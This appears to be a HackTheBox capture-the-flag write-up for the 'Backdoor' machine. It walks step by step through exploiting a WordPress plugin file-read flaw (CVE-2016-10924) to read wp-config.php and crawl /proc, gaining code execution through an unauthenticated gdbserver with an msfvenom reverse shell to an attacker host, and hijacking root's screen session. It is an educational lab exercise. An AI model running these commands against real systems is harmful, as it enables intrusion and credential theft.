~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / backdoor.md

backdoor

Linux · Easy · released 2021-11-20 · retired 2022-04-23

Summary

Backdoor is a Linux Easy whose most distinctive technique is using an LFI vulnerability to enumerate /proc/PID/cmdline — reading every process’s command line to discover what services are running without any direct shell access. A WordPress plugin (ebook-download 1.1, CVE-2016-10924) provides the directory traversal primitive. The /proc crawl reveals two critical processes: a persistent gdbserver loop on port 1337 (already visible in the nmap scan but unidentified), and a root-maintained screen session. GDB remote execution delivers an initial shell as user, and attaching to root’s shared screen session completes the escalation.

Kill-chain: nmap finds ports 22, 80, 1337 → WPScan identifies ebook-download 1.1 (CVE-2016-10924) → LFI filedownload.php?ebookdownloadurl=/proc/<PID>/cmdline iterated over PIDs 1–50000 → PID 851 = gdbserver --once 0.0.0.0:1337, PID 853 = root screen maintenance loop → msfvenom ELF → gdb target extended-remoteuser shell → root’s ~/.screenrc has multiuser on + acladd userscreen -x root/root → root.

Recon

nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp   open  ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp   open  http  Apache httpd 2.4.41 (WordPress 5.8.1)
1337/tcp open  waste

Port 1337 shows as waste (unrecognised). The service identity will be determined via LFI on the WordPress installation.

Add backdoor.htb to /etc/hosts.

WordPress enumeration — CVE-2016-10924

wpscan --url http://backdoor.htb --plugins-detection aggressive

Two plugins found:

Directory listing is enabled on /wp-content/plugins/, confirming version 1.1 directly via the plugin directory.

The vulnerable endpoint is /wp-content/plugins/ebook-download/filedownload.php, which accepts an ebookdownloadurl parameter and serves the file at that path without sanitisation:

# Confirm LFI
curl "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd"
# Read wp-config.php (database credentials)
curl "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php"

The database password from wp-config.php is noted but not used further — MySQL is bound to localhost and the DB account does not help with shell access.

/proc enumeration — discovering the gdbserver process

/proc/<PID>/cmdline contains each process’s invocation with null bytes separating arguments. Reading these via the LFI reveals what every process is running, including services that are not directly discoverable:

#!/bin/bash
for i in $(seq 1 50000); do
    path="/proc/${i}/cmdline"
    skip_start=$(( 3 * ${#path} + 1))
    res=$(curl -s "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=${path}" | tr '\000' ' ')
    output=$(echo "$res" | cut -c ${skip_start}- | rev | cut -c 32- | rev)
    [ -n "$output" ] && echo "${i}: ${output}"
done

Key results from the PID sweep:

851: /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
853: /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done

Foothold — gdbserver remote code execution

GDB supports a target extended-remote mode that allows uploading and executing binaries on the remote system via the GDB remote serial protocol. Since gdbserver is running without authentication, any GDB client can connect and load a payload.

Generate a reverse shell ELF:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ATTACKER> LPORT=443 PrependFork=true -f elf -o rev.elf

Upload and execute via GDB:

gdb -q rev.elf
(gdb) target extended-remote <TARGET>:1337
(gdb) remote put rev.elf /dev/shm/rev
(gdb) set remote exec-file /dev/shm/rev
(gdb) run

Or via Metasploit:

use exploit/multi/gdb/gdb_server_exec
set RHOSTS <TARGET>
set RPORT 1337
set LHOST <ATTACKER>
run
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

user.txt is at /home/user/user.txt.

Privilege escalation — screen multiuser session hijack

The /proc sweep already revealed that root maintains a persistent screen session. Inspect the configuration:

cat /root/.screenrc

(Readable once inside the user shell via screen -x, or pre-confirmed from the PID 853 cmdline.) Root’s ~/.screenrc contains:

multiuser on
acladd user
shell -/bin/bash

multiuser on enables cross-user session sharing. acladd user explicitly grants the user account permission to attach. The screen binary is SUID, which allows it to access sessions owned by other users.

List root’s screen sessions:

screen -ls root/
There is a suitable screen on:
    <PID>.root    (Multi, detached)

Upgrade to a PTY first. screen -x refuses to attach from a raw nc reverse shell with Must be connected to a terminal. — it requires a real controlling terminal, not just a stdin/stdout pipe:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Attach to root’s session:

export TERM=screen
screen -x root/root
root@Backdoor:~# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗